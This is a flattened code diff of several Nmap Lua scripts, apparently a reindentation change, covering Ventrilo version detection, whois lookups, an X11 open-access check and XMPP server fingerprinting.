-- If the registry is empty the port was probed but Ventrilo wasn't detected
if next(r) == nil then
return
end
port.version.name = "ventrilo"
port.version.name_confidence = 10
port.version.product = "Ventrilo"
port.version.version = r.info.version
port.version.ostype = r.info.platform
port.version.extrainfo = "; name: ".. r.info.name
if port.protocol == "tcp" then
port.version.extrainfo = "voice port" .. port.version.extrainfo
else
port.version.extrainfo = "status port" .. port.version.extrainfo
end
port.version.extrainfo = port.version.extrainfo .. "; uptime: " .. uptime_str(r.info.uptime)
port.version.extrainfo = port.version.extrainfo .. "; auth: " .. auth_str(r.info.auth)
nmap.set_port_version(host, port, "hardmatched")
-- an output table for XML output and a custom string for normal output
return r.info, o_str(r.info)
end end

View File

@@ -90,86 +90,86 @@ local string = require "string"
local table = require "table" local table = require "table"
hostrule = function( host ) hostrule = function( host )
local is_private, err = ipOps.isPrivate( host.ip ) local is_private, err = ipOps.isPrivate( host.ip )
if is_private == nil then if is_private == nil then
stdnse.print_debug( "%s Error in Hostrule: %s.", SCRIPT_NAME, err ) stdnse.print_debug( "%s Error in Hostrule: %s.", SCRIPT_NAME, err )
return false return false
end end
return not is_private return not is_private
end end
action = function( host ) action = function( host )
local mutexes = {} local mutexes = {}
-- If the user has provided a domain name. -- If the user has provided a domain name.
if host.targetname then if host.targetname then
local referral_patterns = {"refer:%s*(.-)\n", "Whois%sServer:%s*(.-)\n"} local referral_patterns = {"refer:%s*(.-)\n", "Whois%sServer:%s*(.-)\n"}
-- Remove www prefix and add a newline. -- Remove www prefix and add a newline.
local query_data = string.gsub(host.targetname, "^www%.", "") .. "\n" local query_data = string.gsub(host.targetname, "^www%.", "") .. "\n"
local result local result
-- First server to query is iana's. -- First server to query is iana's.
local referral = "whois.iana.org" local referral = "whois.iana.org"
while referral do while referral do
if not mutexes[referral] then if not mutexes[referral] then
mutexes[referral] = nmap.mutex(referral) mutexes[referral] = nmap.mutex(referral)
end end
mutexes[referral] "lock" mutexes[referral] "lock"
result = {} result = {}
local socket = nmap.new_socket() local socket = nmap.new_socket()
local catch = function() local catch = function()
stdnse.print_debug( "fail") stdnse.print_debug( "fail")
socket:close() socket:close()
end end
local status, line = {} local status, line = {}
local try = nmap.new_try( catch ) local try = nmap.new_try( catch )
socket:set_timeout( 50000 ) socket:set_timeout( 50000 )
try( socket:connect(referral, 43 ) ) try( socket:connect(referral, 43 ) )
try( socket:send( query_data ) ) try( socket:send( query_data ) )
while true do
local status, lines = socket:receive_lines(1)
if not status then
break
else
result[#result+1] = lines
end
end
socket:close()
mutexes[referral] "done"
if #result == 0 then
return nil
end
table.insert(result, 1, "\n\nDomain name record found at " .. referral .. "\n")
-- Do we have a referral?
referral = false
for _, p in ipairs(referral_patterns) do
referral = referral or string.match(table.concat(result), p)
end
while true do
local status, lines = socket:receive_lines(1)
if not status then
break
else
result[#result+1] = lines
end end
end
socket:close()
mutexes[referral] "done"
if #result == 0 then
return nil
end
table.insert(result, 1, "\n\nDomain name record found at " .. referral .. "\n")
-- Do we have a referral?
referral = false
for _, p in ipairs(referral_patterns) do
referral = referral or string.match(table.concat(result), p)
end
result = table.concat( result )
return result
end end
return "You should provide a domain name."
result = table.concat( result )
return result
end
return "You should provide a domain name."
end end

File diff suppressed because it is too large Load Diff

View File

@@ -28,47 +28,47 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default", "safe", "auth"} categories = {"default", "safe", "auth"}
portrule = function(host, port) portrule = function(host, port)
return ((port.number >= 6000 and port.number <= 6009) return ((port.number >= 6000 and port.number <= 6009)
or (port.service and string.match(port.service, "^X11"))) or (port.service and string.match(port.service, "^X11")))
-- If port.version.product is not equal to nil, version -- If port.version.product is not equal to nil, version
-- detection "-sV" has already done this X server test. -- detection "-sV" has already done this X server test.
and port.version.product == nil and port.version.product == nil
end end
action = function(host, port) action = function(host, port)
local result, socket, try, catch local result, socket, try, catch
socket = nmap.new_socket() socket = nmap.new_socket()
catch = function() catch = function()
socket:close() socket:close()
end end
try = nmap.new_try(catch) try = nmap.new_try(catch)
try(socket:connect(host, port)) try(socket:connect(host, port))
-- Sending the network dump of a x11 connection request (captured -- Sending the network dump of a x11 connection request (captured
-- from the XOpenDisplay() function): -- from the XOpenDisplay() function):
-- --
-- 0x6c 0x00 0x0b 0x00 0x00 0x00 0x00 -- 0x6c 0x00 0x0b 0x00 0x00 0x00 0x00
-- 0x00 0x00 0x00 0x00 0x00 0x00 -- 0x00 0x00 0x00 0x00 0x00 0x00
try(socket:send("\108\000\011\000\000\000\000\000\000\000\000\000")) try(socket:send("\108\000\011\000\000\000\000\000\000\000\000\000"))
-- According to the XOpenDisplay() sources, server answer is -- According to the XOpenDisplay() sources, server answer is
-- stored in a xConnSetupPrefix structure [1]. The function -- stored in a xConnSetupPrefix structure [1]. The function
-- returns NULL if it does not succeed, and more precisely: When -- returns NULL if it does not succeed, and more precisely: When
-- the success field of this structure (stored on 1 byte) is not -- the success field of this structure (stored on 1 byte) is not
-- equal to xTrue [2]. For more information, see the Xlib -- equal to xTrue [2]. For more information, see the Xlib
-- programming Manual [3]. -- programming Manual [3].
-- --
-- [1] xConnSetupPrefix structure is defined in X11/Xproto.h. -- [1] xConnSetupPrefix structure is defined in X11/Xproto.h.
-- [2] xTrue = 0x01 according to X11/Xproto.h. -- [2] xTrue = 0x01 according to X11/Xproto.h.
-- [3] http://www.sbin.org/doc/Xlib -- [3] http://www.sbin.org/doc/Xlib
result = try(socket:receive_bytes(1)) result = try(socket:receive_bytes(1))
socket:close() socket:close()
-- Check if first byte received is 0x01 (xTrue: succeed). -- Check if first byte received is 0x01 (xTrue: succeed).
if string.match(result, "^\001") then if string.match(result, "^\001") then
return true, "X server access is granted" return true, "X server access is granted"
end end
end end

View File

@@ -74,401 +74,401 @@ categories = {"default", "safe", "discovery", "version"}
local known_features = { local known_features = {
['starttls'] = true, ['starttls'] = true,
['compression'] = true, ['compression'] = true,
['mechanisms'] = true, ['mechanisms'] = true,
['register'] = true, ['register'] = true,
['dialback'] = true, ['dialback'] = true,
['session'] = true, ['session'] = true,
['auth'] = true, ['auth'] = true,
['bind'] = true, ['bind'] = true,
['c'] = true, ['c'] = true,
['sm'] = true, ['sm'] = true,
['amp'] = true, ['amp'] = true,
['ver'] = true ['ver'] = true
} }
local check_citadele = function(id1, id2) local check_citadele = function(id1, id2)
stdnse.print_debug("CHECK") stdnse.print_debug("CHECK")
local i1 = tonumber(id1, 16) local i1 = tonumber(id1, 16)
local i2 = tonumber(id2, 16) local i2 = tonumber(id2, 16)
return i2 - i1 < 20 and i2 > i1 return i2 - i1 < 20 and i2 > i1
end end
-- Be carefull while adding fingerprints into the table - it must be well sorted -- Be carefull while adding fingerprints into the table - it must be well sorted
-- as some fingerprints are actually supersetted by another... -- as some fingerprints are actually supersetted by another...
local id_database = { local id_database = {
{ {
--f3af7012-5d06-41dc-b886-42521de4e198 --f3af7012-5d06-41dc-b886-42521de4e198
--'' --''
regexp1 = '^' .. string.rep('[0-9a-f]', 8) .. '[-]' .. regexp1 = '^' .. string.rep('[0-9a-f]', 8) .. '[-]' ..
string.rep('[0-9a-f]', 4) .. '[-]' .. string.rep('[0-9a-f]', 4) .. '[-]' ..
string.rep('[0-9a-f]', 4) .. '[-]' .. string.rep('[0-9a-f]', 4) .. '[-]' ..
string.rep('[0-9a-f]', 4) .. '[-]' .. string.rep('[0-9a-f]', 4) .. '[-]' ..
string.rep('[0-9a-f]', 12) .. '$', string.rep('[0-9a-f]', 12) .. '$',
regexp2 = '^$', regexp2 = '^$',
name = 'prosody' name = 'prosody'
}, },
{ {
regexp1 = '^' .. string.rep('[0-9a-f]', 8) .. '$', regexp1 = '^' .. string.rep('[0-9a-f]', 8) .. '$',
regexp2 = '^' .. string.rep('[0-9a-f]', 8) .. '$', regexp2 = '^' .. string.rep('[0-9a-f]', 8) .. '$',
name = 'Citidel', name = 'Citidel',
check = check_citadele check = check_citadele
}, },
{ {
--1082952309 --1082952309
--(no) --(no)
regexp1 = '^' .. string.rep('[0-9]', 9) .. '$', regexp1 = '^' .. string.rep('[0-9]', 9) .. '$',
regexp2 = nil, regexp2 = nil,
name = 'jabberd' name = 'jabberd'
}, },
{ {
--1082952309 --1082952309
--(no) --(no)
regexp1 = '^' .. string.rep('[0-9]', 10) .. '$', regexp1 = '^' .. string.rep('[0-9]', 10) .. '$',
regexp2 = nil, regexp2 = nil,
name = 'jabberd' name = 'jabberd'
}, },
{ {
--8npnkiriy7ga6bak1bdpzn816tutka5sxvfhe70c --8npnkiriy7ga6bak1bdpzn816tutka5sxvfhe70c
--egnlry6t9ji87r9dk475ecxc8dtmkuyzalk2jrvt --egnlry6t9ji87r9dk475ecxc8dtmkuyzalk2jrvt
regexp1 = '^' .. string.rep('[0-9a-z]', 40) .. '$', regexp1 = '^' .. string.rep('[0-9a-z]', 40) .. '$',
regexp2 = '^' .. string.rep('[0-9a-z]', 40) .. '$', regexp2 = '^' .. string.rep('[0-9a-z]', 40) .. '$',
name = 'jabberd2' name = 'jabberd2'
}, },
{ {
--4c9e369a841db417 --4c9e369a841db417
--fc0a60b82275289e --fc0a60b82275289e
regexp1 = '^' .. string.rep('[0-9a-f]', 16) .. '$', regexp1 = '^' .. string.rep('[0-9a-f]', 16) .. '$',
regexp2 = '^' .. string.rep('[0-9a-f]', 16) .. '$', regexp2 = '^' .. string.rep('[0-9a-f]', 16) .. '$',
name = 'Isode M-Link' name = 'Isode M-Link'
}, },
{ {
--1114798225 --1114798225
--494549622 --494549622
regexp1 = '^' .. string.rep('[0-9]', 8) .. string.rep('[0-9]?', 2) .. '$', regexp1 = '^' .. string.rep('[0-9]', 8) .. string.rep('[0-9]?', 2) .. '$',
regexp2 = '^' .. string.rep('[0-9]', 8) .. string.rep('[0-9]?', 2) .. '$', regexp2 = '^' .. string.rep('[0-9]', 8) .. string.rep('[0-9]?', 2) .. '$',
name = 'ejabberd' name = 'ejabberd'
}, },
{ {
--5f049d72 --5f049d72
--3b5b40b --3b5b40b
regexp1 = '^' .. string.rep('[0-9a-f]', 6) .. string.rep('[0-9a-f]?', 2) .. '$', regexp1 = '^' .. string.rep('[0-9a-f]', 6) .. string.rep('[0-9a-f]?', 2) .. '$',
regexp2 = '^' .. string.rep('[0-9a-f]', 6) .. string.rep('[0-9a-f]?', 2) .. '$', regexp2 = '^' .. string.rep('[0-9a-f]', 6) .. string.rep('[0-9a-f]?', 2) .. '$',
name = 'Openfire' name = 'Openfire'
}, },
{ {
--c7cd895f-e006-473b-9623-c0aae85f17fc --c7cd895f-e006-473b-9623-c0aae85f17fc
--tigase-error-tigase --tigase-error-tigase
regexp1 = '^' .. string.rep('[0-9a-f]', 8) .. '[-]' .. regexp1 = '^' .. string.rep('[0-9a-f]', 8) .. '[-]' ..
string.rep('[0-9a-f]', 4) .. '[-]' .. string.rep('[0-9a-f]', 4) .. '[-]' ..
string.rep('[0-9a-f]', 4) .. '[-]' .. string.rep('[0-9a-f]', 4) .. '[-]' ..
string.rep('[0-9a-f]', 4) .. '[-]' .. string.rep('[0-9a-f]', 4) .. '[-]' ..
string.rep('[0-9a-f]', 12) .. '$', string.rep('[0-9a-f]', 12) .. '$',
regexp2 = '^tigase[-]error[-]tigase$', regexp2 = '^tigase[-]error[-]tigase$',
name = 'Tigase' name = 'Tigase'
}, },
{ {
-- tigase.org (in case of bad DNS name): -- tigase.org (in case of bad DNS name):
--tigase-error-tigase --tigase-error-tigase
--tigase-error-tigase --tigase-error-tigase
regexp1 = '^tigase[-]error[-]tigase$', regexp1 = '^tigase[-]error[-]tigase$',
regexp2 = '^tigase[-]error[-]tigase$', regexp2 = '^tigase[-]error[-]tigase$',
name = 'Tigase' name = 'Tigase'
}, },
{ {
--4c9e369a841db417 --4c9e369a841db417
--fc0a60b82275289e --fc0a60b82275289e
regexp1 = '^' .. string.rep('[0-9a-f]', 16) .. '$', regexp1 = '^' .. string.rep('[0-9a-f]', 16) .. '$',
regexp2 = '^' .. string.rep('[0-9a-f]', 16) .. '$', regexp2 = '^' .. string.rep('[0-9a-f]', 16) .. '$',
name = 'Isode M-Link' name = 'Isode M-Link'
}, },
{ {
regexp1 = "^c2s_", regexp1 = "^c2s_",
regexp2 = "^c2s_", regexp2 = "^c2s_",
name = 'VKontakte/XMPP' name = 'VKontakte/XMPP'
} }
} }
local receive_tag = function(conn) local receive_tag = function(conn)
local status, data = conn:receive_buf(">", true) local status, data = conn:receive_buf(">", true)
if data then stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, data) end if data then stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, data) end
return status and xmpp.XML.parse_tag(data) return status and xmpp.XML.parse_tag(data)
end end
local log_tag = function(tag) local log_tag = function(tag)
stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "name=" .. tag.name) stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "name=" .. tag.name)
stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "finish=" .. tostring(tag.finish)) stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "finish=" .. tostring(tag.finish))
stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "empty=" .. tostring(tag.empty)) stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "empty=" .. tostring(tag.empty))
stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "contents=" .. tag.contents) stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "contents=" .. tag.contents)
end end
local make_request = function(server_name, xmlns) local make_request = function(server_name, xmlns)
local request = "<?xml version='1.0'?><stream:stream xmlns:stream='http://etherx.jabber.org/streams'" .. local request = "<?xml version='1.0'?><stream:stream xmlns:stream='http://etherx.jabber.org/streams'" ..
" xmlns=" .. xmlns .." xml:lang='ru-RU' to='" .. server_name .. "' version='1.0'>" " xmlns=" .. xmlns .." xml:lang='ru-RU' to='" .. server_name .. "' version='1.0'>"
return request return request
end end
local connect_tls = function(s, xmlns, server_name) local connect_tls = function(s, xmlns, server_name)
local request = make_request(server_name, xmlns) local request = make_request(server_name, xmlns)
request = request .. "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>" request = request .. "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
s:send(request) s:send(request)
while true do while true do
local tag = receive_tag(s) local tag = receive_tag(s)
if not tag then break end if not tag then break end
log_tag(tag) log_tag(tag)
if tag.name == "proceed" and tag.finish then if tag.name == "proceed" and tag.finish then
local status, error = s:reconnect_ssl() local status, error = s:reconnect_ssl()
if status then return true end if status then return true end
break break
elseif tag.name == "failure" then elseif tag.name == "failure" then
return false return false
end
end end
end
end end
local scan = function(host, port, server_name, tls) local scan = function(host, port, server_name, tls)
local data, status local data, status
local client = nmap.new_socket() local client = nmap.new_socket()
local tls_text local tls_text
local stream_id local stream_id
-- Looks like 10 seconds is enough for non RFC-compliant servers... -- Looks like 10 seconds is enough for non RFC-compliant servers...
client:set_timeout(10 * 1000); client:set_timeout(10 * 1000);
local caps = stdnse.output_table() local caps = stdnse.output_table()
local err = {} local err = {}
local features_list = {} local features_list = {}
local mechanisms = {} local mechanisms = {}
local methods = {} local methods = {}
local unknown = {} local unknown = {}
local t_xmpp = stdnse.output_table() local t_xmpp = stdnse.output_table()
local xmlns local xmlns
stdnse.print_debug(port.version.name) stdnse.print_debug(port.version.name)
if port.version.name == 'xmpp-client' then if port.version.name == 'xmpp-client' then
xmlns = "'jabber:client'" xmlns = "'jabber:client'"
else
xmlns = "'jabber:server'"
end
if tls then tls_text = ", tls" else tls_text = "" end
stdnse.print_debug("name '" .. server_name .. "', ns '" .. xmlns .. "'" .. tls_text)
status, data = client:connect(host, port)
if not status then
client:close()
return
end
if tls and not connect_tls(client, xmlns, server_name) then
client:close()
return
end
local request = make_request(server_name, xmlns)
if not client:send(request) then
client:close()
return
end
local tag_stack = {}
table.insert(tag_stack, "")
local _inside = function(...)
local v = select('#',...)
for n = 1, v do
local e = select(v - n + 1,...)
if e ~= tag_stack[#tag_stack - n + 1] then return nil end
end
return true
end
local inside = function(...) return _inside('stream:features', ...) end
local is_starttls, tls_required, in_error, got_text
while true do
local tag = receive_tag(client)
if not tag then
table.insert(err, "(timeout)")
break
end
log_tag(tag)
if tag.name == "stream:features" and tag.finish then
break
end
if inside() and not known_features[tag.name] then
stdnse.print_debug(tag.name)
table.insert(unknown, tag.name)
end
if tag.name == "stream:stream" and tag.start then
--http://xmpp.org/extensions/xep-0198.html#ns
if tag.attrs['xmlns:ack'] and
tag.attrs['xmlns:ack'] == 'http://www.xmpp.org/extensions/xep-0198.html#ns' then
table.insert(t_xmpp, "Stream Management")
end
if tag.attrs['xml:lang'] then
t_xmpp["lang"] = tag.attrs['xml:lang']
end
if tag.attrs.from and tag.attrs.from ~= server_name then
t_xmpp["server name"] = tag.attrs.from
end
stream_id = tag.attrs.id
if tag.attrs.version then
t_xmpp["version"] = tag.attrs.version
else
-- Alarm! Not an RFC-compliant server...
-- sample: chirimoyas.es
t_xmpp["version"] = "(none)"
end
end
if tag.name == "sm" and tag.start and inside() then
stdnse.print_debug("OK")
--http://xmpp.org/extensions/xep-0198.html
--sample: el-tramo.be
local version = string.match(tag.attrs.xmlns, "^urn:xmpp:sm:(%.)")
table.insert(features_list, 'Stream management v' .. version)
end
if tag.name == "starttls" and inside() then
is_starttls = true
elseif tag.name == "address" and tag.finish and inside() then
--http://delta.affinix.com/specs/xmppstream.html
table.insert(features_list, "MY IP: " .. tag.contents )
elseif tag.name == "ver" and inside() then
--http://xmpp.org/extensions/xep-0237.html
table.insert(features_list, "Roster Versioning")
elseif tag.name == "dialback" and inside() then
--http://xmpp.org/extensions/xep-0220.html
table.insert(features_list, "Server Dialback")
elseif tag.name == "session" and inside() then
--http://www.ietf.org/rfc/rfc3921.txt
table.insert(features_list, "IM Session Establishment")
elseif tag.name == "bind" and inside() then
--http://www.ietf.org/rfc/rfc3920.txt
table.insert(features_list, "Resource Binding")
elseif tag.name == "amp" and inside() then
--http://xmpp.org/extensions/xep-0079.html
table.insert(features_list, "Advanced Message Processing")
elseif tag.name == "register" and inside() then
--http://xmpp.org/extensions/xep-0077.html
--sample: jabber.ru
table.insert(features_list, "In-Band Registration")
elseif tag.name == "auth" and inside() then
--http://xmpp.org/extensions/xep-0078.html
table.insert(mechanisms, "Non-SASL")
elseif tag.name == "required" and inside('starttls') then
tls_required = true
elseif tag.name == "method" and inside('compression', 'method') then
--http://xmpp.org/extensions/xep-0138.html
if tag.finish then
table.insert(methods, tag.contents)
end
elseif tag.name == "mechanism" and inside('mechanisms', 'mechanism') then
if tag.finish then
table.insert(mechanisms, tag.contents)
end
elseif tag.name == "c" and inside() then
--http://xmpp.org/extensions/xep-0115.html
--sample: jabber.ru
if tag.attrs and tag.attrs.node then
caps["node"] = tag.attrs.node
-- It is a table of well-known node values of "c" tag
-- If it matched then the server software is determined
--TODO: Add more hints
-- I cannot find any non-ejabberd public server publishing its <c> :(
local hints = {
["http://www.process-one.net/en/ejabberd/"] = "ejabberd"
}
local hint = hints[tag.attrs.node]
if hint then
port.state = "open"
port.version.product = hint
port.version.name_confidence = 10
nmap.set_port_version(host, port)
end
-- Funny situation: we have a hash of server capabilities list,
-- but we cannot explicitly ask him about the list because we have no name before the authentication.
-- The ugly solution is checking the hash against the most popular capability sets...
caps["ver"] = tag.attrs.ver
end
end
if tag.name == "stream:error" then
if tag.start then
in_error = tag.start
elseif not got_text then -- non-RFC compliant server!
if tag.contents ~= "" then
table.insert(err, {text= tag.contents})
end
in_error = false
end
elseif in_error then
if tag.name == "text" then
if tag.finish then
got_text = true
table.insert(err, {text= tag.contents})
end
else
table.insert(err, tag.name)
end
end
if tag.start and not tag.finish then
table.insert(tag_stack, tag.name)
elseif not tag.start and tag.finish and #tag_stack > 1 then
table.remove(tag_stack, #tag_stack)
end
end
if is_starttls then
if tls_required then
table.insert(features_list, "TLS (required)")
else else
xmlns = "'jabber:server'" table.insert(features_list, "TLS")
end end
if tls then tls_text = ", tls" else tls_text = "" end end
stdnse.print_debug("name '" .. server_name .. "', ns '" .. xmlns .. "'" .. tls_text)
status, data = client:connect(host, port) return {
if not status then stream_id=stream_id,
client:close() xmpp=t_xmpp,
return features=features_list,
end capabilities=caps,
if tls and not connect_tls(client, xmlns, server_name) then compression_methods=methods,
client:close() auth_mechanisms=mechanisms,
return errors=err,
end unknown=unknown,
}
local request = make_request(server_name, xmlns)
if not client:send(request) then
client:close()
return
end
local tag_stack = {}
table.insert(tag_stack, "")
local _inside = function(...)
local v = select('#',...)
for n = 1, v do
local e = select(v - n + 1,...)
if e ~= tag_stack[#tag_stack - n + 1] then return nil end
end
return true
end
local inside = function(...) return _inside('stream:features', ...) end
local is_starttls, tls_required, in_error, got_text
while true do
local tag = receive_tag(client)
if not tag then
table.insert(err, "(timeout)")
break
end
log_tag(tag)
if tag.name == "stream:features" and tag.finish then
break
end
if inside() and not known_features[tag.name] then
stdnse.print_debug(tag.name)
table.insert(unknown, tag.name)
end
if tag.name == "stream:stream" and tag.start then
--http://xmpp.org/extensions/xep-0198.html#ns
if tag.attrs['xmlns:ack'] and
tag.attrs['xmlns:ack'] == 'http://www.xmpp.org/extensions/xep-0198.html#ns' then
table.insert(t_xmpp, "Stream Management")
end
if tag.attrs['xml:lang'] then
t_xmpp["lang"] = tag.attrs['xml:lang']
end
if tag.attrs.from and tag.attrs.from ~= server_name then
t_xmpp["server name"] = tag.attrs.from
end
stream_id = tag.attrs.id
if tag.attrs.version then
t_xmpp["version"] = tag.attrs.version
else
-- Alarm! Not an RFC-compliant server...
-- sample: chirimoyas.es
t_xmpp["version"] = "(none)"
end
end
if tag.name == "sm" and tag.start and inside() then
stdnse.print_debug("OK")
--http://xmpp.org/extensions/xep-0198.html
--sample: el-tramo.be
local version = string.match(tag.attrs.xmlns, "^urn:xmpp:sm:(%.)")
table.insert(features_list, 'Stream management v' .. version)
end
if tag.name == "starttls" and inside() then
is_starttls = true
elseif tag.name == "address" and tag.finish and inside() then
--http://delta.affinix.com/specs/xmppstream.html
table.insert(features_list, "MY IP: " .. tag.contents )
elseif tag.name == "ver" and inside() then
--http://xmpp.org/extensions/xep-0237.html
table.insert(features_list, "Roster Versioning")
elseif tag.name == "dialback" and inside() then
--http://xmpp.org/extensions/xep-0220.html
table.insert(features_list, "Server Dialback")
elseif tag.name == "session" and inside() then
--http://www.ietf.org/rfc/rfc3921.txt
table.insert(features_list, "IM Session Establishment")
elseif tag.name == "bind" and inside() then
--http://www.ietf.org/rfc/rfc3920.txt
table.insert(features_list, "Resource Binding")
elseif tag.name == "amp" and inside() then
--http://xmpp.org/extensions/xep-0079.html
table.insert(features_list, "Advanced Message Processing")
elseif tag.name == "register" and inside() then
--http://xmpp.org/extensions/xep-0077.html
--sample: jabber.ru
table.insert(features_list, "In-Band Registration")
elseif tag.name == "auth" and inside() then
--http://xmpp.org/extensions/xep-0078.html
table.insert(mechanisms, "Non-SASL")
elseif tag.name == "required" and inside('starttls') then
tls_required = true
elseif tag.name == "method" and inside('compression', 'method') then
--http://xmpp.org/extensions/xep-0138.html
if tag.finish then
table.insert(methods, tag.contents)
end
elseif tag.name == "mechanism" and inside('mechanisms', 'mechanism') then
if tag.finish then
table.insert(mechanisms, tag.contents)
end
elseif tag.name == "c" and inside() then
--http://xmpp.org/extensions/xep-0115.html
--sample: jabber.ru
if tag.attrs and tag.attrs.node then
caps["node"] = tag.attrs.node
-- It is a table of well-known node values of "c" tag
-- If it matched then the server software is determined
--TODO: Add more hints
-- I cannot find any non-ejabberd public server publishing its <c> :(
local hints = {
["http://www.process-one.net/en/ejabberd/"] = "ejabberd"
}
local hint = hints[tag.attrs.node]
if hint then
port.state = "open"
port.version.product = hint
port.version.name_confidence = 10
nmap.set_port_version(host, port)
end
-- Funny situation: we have a hash of server capabilities list,
-- but we cannot explicitly ask him about the list because we have no name before the authentication.
-- The ugly solution is checking the hash against the most popular capability sets...
caps["ver"] = tag.attrs.ver
end
end
if tag.name == "stream:error" then
if tag.start then
in_error = tag.start
elseif not got_text then -- non-RFC compliant server!
if tag.contents ~= "" then
table.insert(err, {text= tag.contents})
end
in_error = false
end
elseif in_error then
if tag.name == "text" then
if tag.finish then
got_text = true
table.insert(err, {text= tag.contents})
end
else
table.insert(err, tag.name)
end
end
if tag.start and not tag.finish then
table.insert(tag_stack, tag.name)
elseif not tag.start and tag.finish and #tag_stack > 1 then
table.remove(tag_stack, #tag_stack)
end
end
if is_starttls then
if tls_required then
table.insert(features_list, "TLS (required)")
else
table.insert(features_list, "TLS")
end
end
return {
stream_id=stream_id,
xmpp=t_xmpp,
features=features_list,
capabilities=caps,
compression_methods=methods,
auth_mechanisms=mechanisms,
errors=err,
unknown=unknown,
}
end end
local server_info = function(host, port, id1, id2) local server_info = function(host, port, id1, id2)
for s, v in pairs(id_database) do for s, v in pairs(id_database) do
if ((not id1 and not v.regexp1) or (id1 and v.regexp1 and string.find(id1, v.regexp1))) and if ((not id1 and not v.regexp1) or (id1 and v.regexp1 and string.find(id1, v.regexp1))) and
((not id2 and not v.regexp2) or (id2 and v.regexp2 and string.find(id2, v.regexp2))) then ((not id2 and not v.regexp2) or (id2 and v.regexp2 and string.find(id2, v.regexp2))) then
if not v.check or v.check(id1, id2) then if not v.check or v.check(id1, id2) then
stdnse.print_debug("MATCHED") stdnse.print_debug("MATCHED")
port.version.product = v.name port.version.product = v.name
stdnse.print_debug(" " .. v.name) stdnse.print_debug(" " .. v.name)
port.version.name_confidence = 6 port.version.name_confidence = 6
nmap.set_port_version(host, port) nmap.set_port_version(host, port)
break break
end end
end
end end
end
end end
local factor = function( t1, t2 ) local factor = function( t1, t2 )
@@ -537,42 +537,42 @@ end
portrule = shortport.port_or_service({5222, 5269}, {"jabber", "xmpp-client", "xmpp-server"}) portrule = shortport.port_or_service({5222, 5269}, {"jabber", "xmpp-client", "xmpp-server"})
action = function(host, port) action = function(host, port)
local server_name = stdnse.get_script_args("xmpp-info.server_name") or host.targetname or host.name local server_name = stdnse.get_script_args("xmpp-info.server_name") or host.targetname or host.name
local alt_server_name = stdnse.get_script_args("xmpp-info.alt_server_name") or "." local alt_server_name = stdnse.get_script_args("xmpp-info.alt_server_name") or "."
local tls_result local tls_result
local starttls_failed local starttls_failed
stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "server = " .. server_name) stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "server = " .. server_name)
local altname_result = scan(host, port, alt_server_name, false) local altname_result = scan(host, port, alt_server_name, false)
local plain_result = scan(host, port, server_name, false) local plain_result = scan(host, port, server_name, false)
server_info(host, port, altname_result["stream_id"], plain_result["stream_id"]) server_info(host, port, altname_result["stream_id"], plain_result["stream_id"])
if not stdnse.get_script_args("xmpp-info.no_starttls") then if not stdnse.get_script_args("xmpp-info.no_starttls") then
tls_result = scan(host, port, server_name, true) tls_result = scan(host, port, server_name, true)
if not tls_result then starttls_failed = 1 end if not tls_result then starttls_failed = 1 end
end end
local r = stdnse.output_table() local r = stdnse.output_table()
if #altname_result["errors"] == 0 and #plain_result["errors"] == 0 then if #altname_result["errors"] == 0 and #plain_result["errors"] == 0 then
table.insert(r, "Ignores server name") table.insert(r, "Ignores server name")
elseif #altname_result["errors"] ~= #plain_result["errors"] then elseif #altname_result["errors"] ~= #plain_result["errors"] then
table.insert(r, "Respects server name") table.insert(r, "Respects server name")
end end
if not tls_result then if not tls_result then
if starttls_failed then table.insert(r, "STARTTLS Failed") end if starttls_failed then table.insert(r, "STARTTLS Failed") end
r["info"] = plain_result r["info"] = plain_result
else else
local i,p,t = factor(plain_result, tls_result) local i,p,t = factor(plain_result, tls_result)
r["info"] = (#i and i) or nil r["info"] = (#i and i) or nil
r["pre_tls"] = (#p and p) or nil r["pre_tls"] = (#p and p) or nil
r["post_tls"] = (#t and t) or nil r["post_tls"] = (#t and t) or nil
end end
return r return r
end end